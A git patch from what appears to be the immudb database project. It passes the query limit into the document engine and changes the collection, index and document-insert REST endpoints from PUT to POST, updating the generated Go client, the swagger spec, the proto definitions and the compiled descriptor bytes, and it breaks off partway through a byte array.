embedded/document/engine.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index f0d2699e68..6eeb71ae58 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -748,7 +748,7 @@ func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offs query.CollectionName, queryCondition, generateSQLOrderByClauses(table, query.OrderBy), - nil, + sql.NewInteger(int64(query.Limit)), sql.NewInteger(offset), ) From a0a8a30b7b39ea2e7083efec0cae2fcfae0855ae Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 16 May 2023 13:12:00 -0300 Subject: [PATCH 0553/1062] fix(pkg/api): create collection endpoint with path parameter Signed-off-by: Jeronimo Irazabal --- pkg/api/httpclient/client.go | 191 +++++++++--------- pkg/api/openapi/apidocs.swagger.json | 70 ++++--- pkg/api/proto/documents.proto | 6 +- pkg/api/protomodel/documents.pb.go | 268 +++++++++++++------------- pkg/api/protomodel/documents.pb.gw.go | 50 ++++- 5 files changed, 317 insertions(+), 268 deletions(-) diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index b99de06d47..1c79a31977 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -514,12 +514,12 @@ type SearchDocumentsJSONRequestBody = ModelSearchDocumentsRequest // CreateIndexJSONRequestBody defines body for CreateIndex for application/json ContentType. type CreateIndexJSONRequestBody = ModelCreateIndexRequest -// UpdateCollectionJSONRequestBody defines body for UpdateCollection for application/json ContentType. -type UpdateCollectionJSONRequestBody = ModelUpdateCollectionRequest - // CreateCollectionJSONRequestBody defines body for CreateCollection for application/json ContentType. type CreateCollectionJSONRequestBody = ModelCreateCollectionRequest +// UpdateCollectionJSONRequestBody defines body for UpdateCollection for application/json ContentType. +type UpdateCollectionJSONRequestBody = ModelUpdateCollectionRequest + // RequestEditorFn is the function signature for the RequestEditor callback function type RequestEditorFn func(ctx context.Context, req *http.Request) error @@ -657,6 +657,11 @@ type ClientInterface interface { // GetCollection request GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) + // CreateCollection request with any body + CreateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + CreateCollection(ctx context.Context, name string, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // UpdateCollection request with any body UpdateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) @@ -664,11 +669,6 @@ type ClientInterface interface { // GetCollections request GetCollections(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) - - // CreateCollection request with any body - CreateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - CreateCollection(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) } func (c *Client) CloseSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { @@ -971,8 +971,8 @@ func (c *Client) GetCollection(ctx context.Context, name string, reqEditors ...R return c.Client.Do(req) } -func (c *Client) UpdateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewUpdateCollectionRequestWithBody(c.Server, name, contentType, body) +func (c *Client) CreateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCreateCollectionRequestWithBody(c.Server, name, contentType, body) if err != nil { return nil, err } @@ -983,8 +983,8 @@ func (c *Client) UpdateCollectionWithBody(ctx context.Context, name string, cont return c.Client.Do(req) } -func (c *Client) UpdateCollection(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewUpdateCollectionRequest(c.Server, name, body) +func (c *Client) CreateCollection(ctx context.Context, name string, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCreateCollectionRequest(c.Server, name, body) if err != nil { return nil, err } @@ -995,8 +995,8 @@ func (c *Client) UpdateCollection(ctx context.Context, name string, body UpdateC return c.Client.Do(req) } -func (c *Client) GetCollections(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewGetCollectionsRequest(c.Server) +func (c *Client) UpdateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewUpdateCollectionRequestWithBody(c.Server, name, contentType, body) if err != nil { return nil, err } @@ -1007,8 +1007,8 @@ func (c *Client) GetCollections(ctx context.Context, reqEditors ...RequestEditor return c.Client.Do(req) } -func (c *Client) CreateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCreateCollectionRequestWithBody(c.Server, contentType, body) +func (c *Client) UpdateCollection(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewUpdateCollectionRequest(c.Server, name, body) if err != nil { return nil, err } @@ -1019,8 +1019,8 @@ func (c *Client) CreateCollectionWithBody(ctx context.Context, contentType strin return c.Client.Do(req) } -func (c *Client) CreateCollection(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCreateCollectionRequest(c.Server, body) +func (c *Client) GetCollections(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewGetCollectionsRequest(c.Server) if err != nil { return nil, err } @@ -1343,7 +1343,7 @@ func NewInsertDocumentsRequestWithBody(server string, collectionName string, con return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } @@ -1585,7 +1585,7 @@ func NewCreateIndexRequestWithBody(server string, collectionName string, content return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } @@ -1663,19 +1663,19 @@ func NewGetCollectionRequest(server string, name string) (*http.Request, error) return req, nil } -// NewUpdateCollectionRequest calls the generic UpdateCollection builder with application/json body -func NewUpdateCollectionRequest(server string, name string, body UpdateCollectionJSONRequestBody) (*http.Request, error) { +// NewCreateCollectionRequest calls the generic CreateCollection builder with application/json body +func NewCreateCollectionRequest(server string, name string, body CreateCollectionJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewUpdateCollectionRequestWithBody(server, name, "application/json", bodyReader) + return NewCreateCollectionRequestWithBody(server, name, "application/json", bodyReader) } -// NewUpdateCollectionRequestWithBody generates requests for UpdateCollection with any type of body -func NewUpdateCollectionRequestWithBody(server string, name string, contentType string, body io.Reader) (*http.Request, error) { +// NewCreateCollectionRequestWithBody generates requests for CreateCollection with any type of body +func NewCreateCollectionRequestWithBody(server string, name string, contentType string, body io.Reader) (*http.Request, error) { var err error var pathParam0 string @@ -1700,7 +1700,7 @@ func NewUpdateCollectionRequestWithBody(server string, name string, contentType return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } @@ -1710,16 +1710,34 @@ func NewUpdateCollectionRequestWithBody(server string, name string, contentType return req, nil } -// NewGetCollectionsRequest generates requests for GetCollections -func NewGetCollectionsRequest(server string) (*http.Request, error) { +// NewUpdateCollectionRequest calls the generic UpdateCollection builder with application/json body +func NewUpdateCollectionRequest(server string, name string, body UpdateCollectionJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewUpdateCollectionRequestWithBody(server, name, "application/json", bodyReader) +} + +// NewUpdateCollectionRequestWithBody generates requests for UpdateCollection with any type of body +func NewUpdateCollectionRequestWithBody(server string, name string, contentType string, body io.Reader) (*http.Request, error) { var err error + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) + if err != nil { + return nil, err + } + serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/collections") + operationPath := fmt.Sprintf("/collection/%s", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1729,27 +1747,18 @@ func NewGetCollectionsRequest(server string) (*http.Request, error) { return nil, err } - req, err := http.NewRequest("GET", queryURL.String(), nil) + req, err := http.NewRequest("PUT", queryURL.String(), body) if err != nil { return nil, err } - return req, nil -} + req.Header.Add("Content-Type", contentType) -// NewCreateCollectionRequest calls the generic CreateCollection builder with application/json body -func NewCreateCollectionRequest(server string, body CreateCollectionJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewCreateCollectionRequestWithBody(server, "application/json", bodyReader) + return req, nil } -// NewCreateCollectionRequestWithBody generates requests for CreateCollection with any type of body -func NewCreateCollectionRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewGetCollectionsRequest generates requests for GetCollections +func NewGetCollectionsRequest(server string) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1767,13 +1776,11 @@ func NewCreateCollectionRequestWithBody(server string, contentType string, body return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("GET", queryURL.String(), nil) if err != nil { return nil, err } - req.Header.Add("Content-Type", contentType) - return req, nil } @@ -1884,6 +1891,11 @@ type ClientWithResponsesInterface interface { // GetCollection request GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) + // CreateCollection request with any body + CreateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) + + CreateCollectionWithResponse(ctx context.Context, name string, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) + // UpdateCollection request with any body UpdateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) @@ -1891,11 +1903,6 @@ type ClientWithResponsesInterface interface { // GetCollections request GetCollectionsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetCollectionsResponse, error) - - // CreateCollection request with any body - CreateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) - - CreateCollectionWithResponse(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) } type CloseSessionResponse struct { @@ -2220,15 +2227,15 @@ func (r GetCollectionResponse) StatusCode() int { return 0 } -type UpdateCollectionResponse struct { +type CreateCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelUpdateCollectionResponse + JSON200 *ModelCreateCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r UpdateCollectionResponse) Status() string { +func (r CreateCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2236,22 +2243,22 @@ func (r UpdateCollectionResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r UpdateCollectionResponse) StatusCode() int { +func (r CreateCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type GetCollectionsResponse struct { +type UpdateCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelGetCollectionsResponse + JSON200 *ModelUpdateCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r GetCollectionsResponse) Status() string { +func (r UpdateCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2259,22 +2266,22 @@ func (r GetCollectionsResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r GetCollectionsResponse) StatusCode() int { +func (r UpdateCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type CreateCollectionResponse struct { +type GetCollectionsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelCreateCollectionResponse + JSON200 *ModelGetCollectionsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r CreateCollectionResponse) Status() string { +func (r GetCollectionsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2282,7 +2289,7 @@ func (r CreateCollectionResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r CreateCollectionResponse) StatusCode() int { +func (r GetCollectionsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } @@ -2503,6 +2510,23 @@ func (c *ClientWithResponses) GetCollectionWithResponse(ctx context.Context, nam return ParseGetCollectionResponse(rsp) } +// CreateCollectionWithBodyWithResponse request with arbitrary body returning *CreateCollectionResponse +func (c *ClientWithResponses) CreateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { + rsp, err := c.CreateCollectionWithBody(ctx, name, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseCreateCollectionResponse(rsp) +} + +func (c *ClientWithResponses) CreateCollectionWithResponse(ctx context.Context, name string, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { + rsp, err := c.CreateCollection(ctx, name, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseCreateCollectionResponse(rsp) +} + // UpdateCollectionWithBodyWithResponse request with arbitrary body returning *UpdateCollectionResponse func (c *ClientWithResponses) UpdateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { rsp, err := c.UpdateCollectionWithBody(ctx, name, contentType, body, reqEditors...) @@ -2529,23 +2553,6 @@ func (c *ClientWithResponses) GetCollectionsWithResponse(ctx context.Context, re return ParseGetCollectionsResponse(rsp) } -// CreateCollectionWithBodyWithResponse request with arbitrary body returning *CreateCollectionResponse -func (c *ClientWithResponses) CreateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { - rsp, err := c.CreateCollectionWithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseCreateCollectionResponse(rsp) -} - -func (c *ClientWithResponses) CreateCollectionWithResponse(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { - rsp, err := c.CreateCollection(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseCreateCollectionResponse(rsp) -} - // ParseCloseSessionResponse parses an HTTP response from a CloseSessionWithResponse call func ParseCloseSessionResponse(rsp *http.Response) (*CloseSessionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) @@ -3008,22 +3015,22 @@ func ParseGetCollectionResponse(rsp *http.Response) (*GetCollectionResponse, err return response, nil } -// ParseUpdateCollectionResponse parses an HTTP response from a UpdateCollectionWithResponse call -func ParseUpdateCollectionResponse(rsp *http.Response) (*UpdateCollectionResponse, error) { +// ParseCreateCollectionResponse parses an HTTP response from a CreateCollectionWithResponse call +func ParseCreateCollectionResponse(rsp *http.Response) (*CreateCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &UpdateCollectionResponse{ + response := &CreateCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelUpdateCollectionResponse + var dest ModelCreateCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -3041,22 +3048,22 @@ func ParseUpdateCollectionResponse(rsp *http.Response) (*UpdateCollectionRespons return response, nil } -// ParseGetCollectionsResponse parses an HTTP response from a GetCollectionsWithResponse call -func ParseGetCollectionsResponse(rsp *http.Response) (*GetCollectionsResponse, error) { +// ParseUpdateCollectionResponse parses an HTTP response from a UpdateCollectionWithResponse call +func ParseUpdateCollectionResponse(rsp *http.Response) (*UpdateCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &GetCollectionsResponse{ + response := &UpdateCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelGetCollectionsResponse + var dest ModelUpdateCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -3074,22 +3081,22 @@ func ParseGetCollectionsResponse(rsp *http.Response) (*GetCollectionsResponse, e return response, nil } -// ParseCreateCollectionResponse parses an HTTP response from a CreateCollectionWithResponse call -func ParseCreateCollectionResponse(rsp *http.Response) (*CreateCollectionResponse, error) { +// ParseGetCollectionsResponse parses an HTTP response from a GetCollectionsWithResponse call +func ParseGetCollectionsResponse(rsp *http.Response) (*GetCollectionsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &CreateCollectionResponse{ + response := &GetCollectionsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelCreateCollectionResponse + var dest ModelGetCollectionsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 8aa9cc3c43..93efb9d307 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -237,7 +237,7 @@ } }, "/collection/{collectionName}/documents": { - "put": { + "post": { "operationId": "InsertDocuments", "responses": { "200": { @@ -313,7 +313,7 @@ "documents" ] }, - "put": { + "post": { "operationId": "CreateIndex", "responses": { "200": { @@ -407,6 +407,42 @@ "documents" ] }, + "post": { + "operationId": "CreateCollection", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelCreateCollectionResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "name", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelCreateCollectionRequest" + } + } + ], + "tags": [ + "documents" + ] + }, "put": { "operationId": "UpdateCollection", "responses": { @@ -578,36 +614,6 @@ "tags": [ "documents" ] - }, - "put": { - "operationId": "CreateCollection", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelCreateCollectionResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelCreateCollectionRequest" - } - } - ], - "tags": [ - "documents" - ] } } }, diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 650d9ba1d6..0da7713356 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -375,7 +375,7 @@ message ProofDocumentResponse { service DocumentService { rpc CreateCollection(CreateCollectionRequest) returns (CreateCollectionResponse) { option (google.api.http) = { - put: "/collections" + post: "/collection/{name}" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { @@ -422,7 +422,7 @@ service DocumentService { rpc CreateIndex(CreateIndexRequest) returns (CreateIndexResponse) { option (google.api.http) = { - put: "/collection/{collectionName}/index" + post: "/collection/{collectionName}/index" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { @@ -441,7 +441,7 @@ service DocumentService { rpc InsertDocuments(InsertDocumentsRequest) returns (InsertDocumentsResponse) { option (google.api.http) = { - put: "/collection/{collectionName}/documents" + post: "/collection/{collectionName}/documents" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 382919e784..9d0ed56d3f 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -2329,149 +2329,149 @@ var file_documents_proto_rawDesc = []byte{ 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, - 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0x9f, 0x10, 0x0a, + 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xa5, 0x10, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x12, 0x88, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x25, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x1a, 0x0c, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x7f, 0x0a, 0x0e, 0x47, - 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, - 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x92, 0x41, - 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x82, 0x01, 0x0a, - 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, - 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, - 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, - 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x1a, 0x12, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, - 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x2a, 0x12, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, - 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x43, 0x72, 0x65, 0x61, 